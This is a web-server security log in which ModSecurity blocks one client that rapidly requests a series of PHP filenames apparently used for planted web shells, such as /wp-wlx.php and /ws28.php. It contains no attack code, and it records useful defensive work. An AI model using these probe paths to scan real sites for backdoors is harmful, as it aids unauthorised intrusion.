[Wed Jan 07 00:17:04.572322 2026] [:error] [pid 35140:tid 35155] [client 20.196.88.169:24252] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1aa.php"] [unique_id "aV01gHoQaIDFMbT-XMwIzQAAAQ0"]
[Wed Jan 07 00:17:04.842283 2026] [:error] [pid 45959:tid 45984] [client 20.196.88.169:13127] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aV01gFajdn8P3hjgMYwyuAAAAVY"]
[Wed Jan 07 00:17:05.113502 2026] [:error] [pid 44903:tid 44912] [client 20.196.88.169:12130] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aV01gdhHqjs38zbkQPBRbwAAAAU"]
[Wed Jan 07 00:17:05.386189 2026] [:error] [pid 45959:tid 45968] [client 20.196.88.169:13133] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aV01gVajdn8P3hjgMYwyuwAAAUY"]
[Wed Jan 07 00:17:05.666172 2026] [:error] [pid 44905:tid 44980] [client 20.196.88.169:18565] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aV01gbu7ufwWVst9EAshVQAAAIw"]
[Wed Jan 07 00:17:05.935609 2026] [:error] [pid 45959:tid 45983] [client 20.196.88.169:33775] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aV01gVajdn8P3hjgMYwyvwAAAVU"]
[Wed Jan 07 00:17:06.203115 2026] [:error] [pid 35140:tid 35144] [client 20.196.88.169:18619] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aV01gnoQaIDFMbT-XMwIzgAAAQI"]
[Wed Jan 07 00:17:06.472238 2026] [:error] [pid 35140:tid 35156] [client 20.196.88.169:23834] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aV01gnoQaIDFMbT-XMwI0AAAAQ4"]
[Wed Jan 07 00:17:06.741382 2026] [:error] [pid 45959:tid 45970] [client 20.196.88.169:13149] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aV01glajdn8P3hjgMYwywgAAAUg"]
[Wed Jan 07 00:17:07.011755 2026] [:error] [pid 45012:tid 45022] [client 20.196.88.169:28863] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aV01gxaMAxCuju1d0uZB7QAAAMg"]
[Wed Jan 07 00:17:07.283026 2026] [:error] [pid 45959:tid 45965] [client 20.196.88.169:33730] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aV01g1ajdn8P3hjgMYwywwAAAUM"]
[Wed Jan 07 00:17:07.553211 2026] [:error] [pid 35140:tid 35151] [client 20.196.88.169:33742] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aV01g3oQaIDFMbT-XMwI0QAAAQk"]
[Wed Jan 07 00:17:07.822959 2026] [:error] [pid 45959:tid 45972] [client 20.196.88.169:13217] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aV01g1ajdn8P3hjgMYwyxAAAAUo"]
[Wed Jan 07 00:17:08.093638 2026] [:error] [pid 44904:tid 44957] [client 20.196.88.169:28825] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "aV01hDtieuI1BJEZcvdrDgAAAFA"]
[Wed Jan 07 00:17:08.366509 2026] [:error] [pid 44905:tid 44992] [client 20.196.88.169:19505] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "aV01hLu7ufwWVst9EAshVwAAAJg"]
[Wed Jan 07 00:17:08.635921 2026] [:error] [pid 45012:tid 45023] [client 20.196.88.169:29255] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "aV01hBaMAxCuju1d0uZB8QAAAMk"]
[Wed Jan 07 00:17:08.905352 2026] [:error] [pid 44903:tid 44927] [client 20.196.88.169:28859] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mh.php"] [unique_id "aV01hNhHqjs38zbkQPBRdgAAABQ"]
[Wed Jan 07 00:17:09.187623 2026] [:error] [pid 45959:tid 45979] [client 20.196.88.169:28860] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7h.php"] [unique_id "aV01hVajdn8P3hjgMYwyxwAAAVE"]
[Wed Jan 07 00:17:09.458973 2026] [:error] [pid 45012:tid 45034] [client 20.196.88.169:15697] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7h.php"] [unique_id "aV01hRaMAxCuju1d0uZB8wAAANQ"]
[Wed Jan 07 00:17:09.729448 2026] [:error] [pid 44905:tid 44976] [client 20.196.88.169:19514] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7h.php"] [unique_id "aV01hbu7ufwWVst9EAshWwAAAIg"]
[Wed Jan 07 00:17:09.998941 2026] [:error] [pid 45012:tid 45020] [client 20.196.88.169:28801] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7h.php"] [unique_id "aV01hRaMAxCuju1d0uZB9QAAAMY"]
[Wed Jan 07 00:17:10.268537 2026] [:error] [pid 45959:tid 45985] [client 20.196.88.169:27415] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aV01hlajdn8P3hjgMYwyywAAAVc"]
[Wed Jan 07 00:17:10.538881 2026] [:error] [pid 45959:tid 45981] [client 20.196.88.169:13242] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aV01hlajdn8P3hjgMYwyzQAAAVM"]
[Wed Jan 07 00:17:10.813908 2026] [:error] [pid 45959:tid 45963] [client 20.196.88.169:13229] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aV01hlajdn8P3hjgMYwyzgAAAUE"]
[Wed Jan 07 00:17:11.085982 2026] [:error] [pid 45959:tid 45965] [client 20.196.88.169:27425] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aV01h1ajdn8P3hjgMYwy0AAAAUM"]
[Wed Jan 07 00:17:11.355136 2026] [:error] [pid 44905:tid 44968] [client 20.196.88.169:27453] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aV01h7u7ufwWVst9EAshYQAAAIA"]
[Wed Jan 07 00:17:11.625927 2026] [:error] [pid 45012:tid 45031] [client 20.196.88.169:28816] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aV01hxaMAxCuju1d0uZB9wAAANE"]
[Wed Jan 07 00:17:11.894845 2026] [:error] [pid 35140:tid 35160] [client 20.196.88.169:15305] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aV01h3oQaIDFMbT-XMwI1AAAARI"]
[Wed Jan 07 00:17:12.165053 2026] [:error] [pid 44905:tid 44990] [client 20.196.88.169:18122] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aV01iLu7ufwWVst9EAshZAAAAJY"]
[Wed Jan 07 00:17:12.446140 2026] [:error] [pid 45012:tid 45025] [client 20.196.88.169:19834] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahy66.php"] [unique_id "aV01iBaMAxCuju1d0uZB-AAAAMs"]
[Wed Jan 07 00:17:12.714843 2026] [:error] [pid 44904:tid 44958] [client 20.196.88.169:19511] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahy66.php"] [unique_id "aV01iDtieuI1BJEZcvdrFAAAAFE"]
[Wed Jan 07 00:17:12.983155 2026] [:error] [pid 44905:tid 44970] [client 20.196.88.169:13241] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahy66.php"] [unique_id "aV01iLu7ufwWVst9EAshZgAAAII"]
[Wed Jan 07 00:17:13.254788 2026] [:error] [pid 44904:tid 44949] [client 20.196.88.169:13208] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahy66.php"] [unique_id "aV01iTtieuI1BJEZcvdrFQAAAEg"]
[Wed Jan 07 00:17:13.526817 2026] [:error] [pid 45012:tid 45037] [client 20.196.88.169:18126] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-wlx.php"] [unique_id "aV01iRaMAxCuju1d0uZB-gAAANc"]
[Wed Jan 07 00:17:13.795432 2026] [:error] [pid 44905:tid 44984] [client 20.196.88.169:16138] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-wlx.php"] [unique_id "aV01ibu7ufwWVst9EAshaAAAAJA"]
[Wed Jan 07 00:17:14.064915 2026] [:error] [pid 44904:tid 44960] [client 20.196.88.169:19778] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-wlx.php"] [unique_id "aV01ijtieuI1BJEZcvdrFgAAAFM"]
[Wed Jan 07 00:17:14.334819 2026] [:error] [pid 44903:tid 44909] [client 20.196.88.169:19793] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-wlx.php"] [unique_id "aV01ithHqjs38zbkQPBRfwAAAAI"]
[Wed Jan 07 00:17:14.608689 2026] [:error] [pid 35140:tid 35163] [client 20.196.88.169:22765] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aV01inoQaIDFMbT-XMwI2QAAARU"]
[Wed Jan 07 00:17:14.876726 2026] [:error] [pid 44905:tid 44969] [client 20.196.88.169:15307] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aV01iru7ufwWVst9EAshawAAAIE"]
[Wed Jan 07 00:17:15.147184 2026] [:error] [pid 44904:tid 44951] [client 20.196.88.169:28319] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aV01iztieuI1BJEZcvdrFwAAAEo"]
[Wed Jan 07 00:17:15.416684 2026] [:error] [pid 44904:tid 44943] [client 20.196.88.169:26864] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aV01iztieuI1BJEZcvdrGQAAAEI"]
[Wed Jan 07 00:17:15.684994 2026] [:error] [pid 35140:tid 35142] [client 20.196.88.169:19828] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aV01i3oQaIDFMbT-XMwI2wAAAQA"]
[Wed Jan 07 00:17:15.955026 2026] [:error] [pid 45012:tid 45036] [client 20.196.88.169:22761] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aV01ixaMAxCuju1d0uZB_QAAANY"]
[Wed Jan 07 00:17:16.228720 2026] [:error] [pid 35140:tid 35144] [client 20.196.88.169:19784] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aV01jHoQaIDFMbT-XMwI3AAAAQI"]
[Wed Jan 07 00:17:16.498313 2026] [:error] [pid 45959:tid 45964] [client 20.196.88.169:26846] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aV01jFajdn8P3hjgMYwy1QAAAUI"]
[Wed Jan 07 00:17:16.767306 2026] [:error] [pid 45959:tid 45985] [client 20.196.88.169:27448] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aV01jFajdn8P3hjgMYwy1wAAAVc"]
[Wed Jan 07 00:17:17.037078 2026] [:error] [pid 35140:tid 35147] [client 20.196.88.169:22745] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aV01jXoQaIDFMbT-XMwI3gAAAQU"]
[Wed Jan 07 00:17:17.309740 2026] [:error] [pid 45959:tid 45983] [client 20.196.88.169:15319] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aV01jVajdn8P3hjgMYwy2AAAAVU"]
[Wed Jan 07 00:17:17.582595 2026] [:error] [pid 44904:tid 44957] [client 20.196.88.169:27406] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aV01jTtieuI1BJEZcvdrGgAAAFA"]
[Wed Jan 07 00:17:17.859244 2026] [:error] [pid 44904:tid 44953] [client 20.196.88.169:16165] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dbc.php"] [unique_id "aV01jTtieuI1BJEZcvdrHAAAAEw"]
[Wed Jan 07 00:17:18.128262 2026] [:error] [pid 44903:tid 44924] [client 20.196.88.169:18121] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dbc.php"] [unique_id "aV01jthHqjs38zbkQPBRhAAAABE"]
[Wed Jan 07 00:17:18.399703 2026] [:error] [pid 45012:tid 45015] [client 20.196.88.169:15345] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dbc.php"] [unique_id "aV01jhaMAxCuju1d0uZCAAAAAME"]
[Wed Jan 07 00:17:18.675795 2026] [:error] [pid 44905:tid 44986] [client 20.196.88.169:15335] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dbc.php"] [unique_id "aV01jru7ufwWVst9EAshcQAAAJI"]
[Wed Jan 07 00:17:18.948584 2026] [:error] [pid 44905:tid 44982] [client 20.196.88.169:22742] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l10n.php"] [unique_id "aV01jru7ufwWVst9EAshcwAAAI4"]
[Wed Jan 07 00:17:19.218518 2026] [:error] [pid 45959:tid 45973] [client 20.196.88.169:16135] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l10n.php"] [unique_id "aV01j1ajdn8P3hjgMYwy3QAAAUs"]
[Wed Jan 07 00:17:19.487466 2026] [:error] [pid 44905:tid 44971] [client 20.196.88.169:11588] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l10n.php"] [unique_id "aV01j7u7ufwWVst9EAshdAAAAIM"]
[Wed Jan 07 00:17:19.755565 2026] [:error] [pid 45012:tid 45026] [client 20.196.88.169:28317] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l10n.php"] [unique_id "aV01jxaMAxCuju1d0uZCAwAAAMw"]
